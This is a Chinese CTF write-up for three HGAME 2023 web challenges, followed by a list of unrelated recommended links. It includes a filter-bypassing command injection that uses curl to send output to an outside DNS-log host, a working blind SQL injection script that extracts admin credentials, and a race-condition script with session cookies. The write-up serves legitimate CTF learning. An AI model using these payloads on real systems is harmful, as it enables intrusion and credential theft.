Ping to the host

很明显的rce,简单测试一下发现空格,cat,;被办,且执行无回显,空格用${IFS},%09,$IFS$9等等来绕过,我们利用dnslog将执行结果外带出来,这里使用的是http://ceye.io/

由于每次dnslog只能带出一条信息,我们利用sed -n来爆破其它信息

ip=|curl${IFS}http://?????.ceye.io/`ls${IFS}/|sed${IFS}-n${IFS}'1p'`

得到flag文件名为: flag_is_here_haha

flag也被办了,用通配符读取就行了

ip=|curl${IFS}http://?????.ceye.io/`ca''t%09/fla*`

Login To Get My Gift

简单的SQL注入,得到admin账号密码即可得到flag,这里直接给exp:
import requests
flag = ''
def attack_post(url):
global flag
r = requests.session()
for i in range(1, 100000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))<{mid})#"
payload1 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),{i}),1)))<{mid})#"
payload2 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'),{i}),1)))<{mid})#"
payload3 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,PAssw0rD))/**/from/**/User1nf0mAt1on),{i}),1)))<{mid})#"
# print(payload)
data = {
'username': 'testuser',
'password': payload3
}
rp = r.post(url, data=data)
# print(rp.text)
if 'Success!' in rp.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
flag += chr(mid - 1)
print(flag)
if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30369/login'
attack_post(url)

Gopher Shop

下载附件是源码,先对题目环境分析一波,是一个商店的界面,售卖一些商品,其中有FLAG,可以知道肯定需要买到这个FLAG
接下来分析源码,找到user.go这个文件,这里面是对销售的一些功能实现,往下可以看到判断是否卖的出这个函数,if判断后,直接
对商品数量进行加减,这里猜测可以条件竞争,直接过if买到FLAG,其实正解应该是go的uint溢出,这里应该算非预期了。
import requests
import threading
headers = {
'Cookie': 'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fM5a-9HM-2vbFCrfAbfLVU049emtbxCloYDTab3QDEx-'
}
def get(url):
r = requests.get(url=url, headers=headers) if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30552/api/v1/user/buyProduct?product=Flag&number=1'
for i in range(100000):
threading.Thread(target=get, args=(url,)).start()

然后界面就直接买到FLAG了,checkFLAG即可拿到flag值:

hgame{GopherShop_M@gic_1nt_0verflow}

HGAME_2023_WEB_WP_WEEK3的更多相关文章

随机推荐

  1. 使用 Rainbond 搭建本地开发环境

    在开发之前,你需要在本地安装各种开发工具和服务,比如:Mysql.Redis.Nacos 等等,我们都知道在个人电脑上安装这些服务相当的繁琐,可能会遇到很多问题,环境问题.依赖问题等等. 在需要团队协 ...

  2. SUPERVISOR监控tomcat配置文件

    Supervisor安装教程参考:https://www.cnblogs.com/brad93/p/16639953.html tomcat安装教程参考:https://www.cnblogs.com ...

  3. 谈谈我的「数字文具盒」 - NextCloud

    接下来两篇主要谈论 Nextcloud 和 Obsidian,因为篇幅较长,所以单出罗列出来.本文主要介绍 Nextcloud 以及使用中的技巧和心得体会. Nextcloud Nextcloud 是 ...

  4. Java开发学习(四十六)----MyBatisPlus新增语句之id生成策略控制及其简化配置

    在前面有一篇博客:Java开发学习(四十一)----MyBatisPlus标准数据层(增删查改分页)开发,我们在新增的时候留了一个问题,就是新增成功后,主键ID是一个很长串的内容. 我们更想要的是按照 ...

  5. 医疗在线OLAP场景下基于Apache Hudi 模式演变的改造与应用

    背景 在 Apache Hudi支持完整的Schema演变的方案中(https://mp.weixin.qq.com/s/rSW864o2YEbHw6oQ4Lsq0Q), 读取方面,只完成了SQL o ...

  6. PyTorch复现AlexNet学习笔记

    PyTorch复现AlexNet学习笔记 一篇简单的学习笔记,实现五类花分类 这里只介绍复现的工作,如果想了解更多有关网络的细节,请去看论文<ImageNet Classification wi ...

  7. RocketMQ Schema——让消息成为流动的结构化数据

    本文作者:许奕斌,阿里云智能高级研发工程师. Why we need schema RocketMQ 目前对于消息体没有任何数据格式的约束,可以是 JSON ,可以是对象 toString ,也可以只 ...

  8. 脚本运行正常,但抛出警告ResourceWarning: unclosed <socket.socket fd=688, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 61803)

    脚本运行正常,但抛出警告,如下图,此时可导入warnings,忽略警告.

  9. axios 中get 和post传参

    axios中get和ppost传参的方式: params是添加到url的请求字符串中的,一般用于get请求. data是添加到请求体(body)中的, 一般用于post请求. 上面,只是一般情况. 其 ...

  10. WCF 服务容器化的一些问题

    背景 目前项目当中存有 .NET Framework 和 .NET Core 两种类型的项目,但是都需要进行容器化将其分别部署在 Windows 集群和 Linux 集群当中.在 WCF 进行容器化的 ...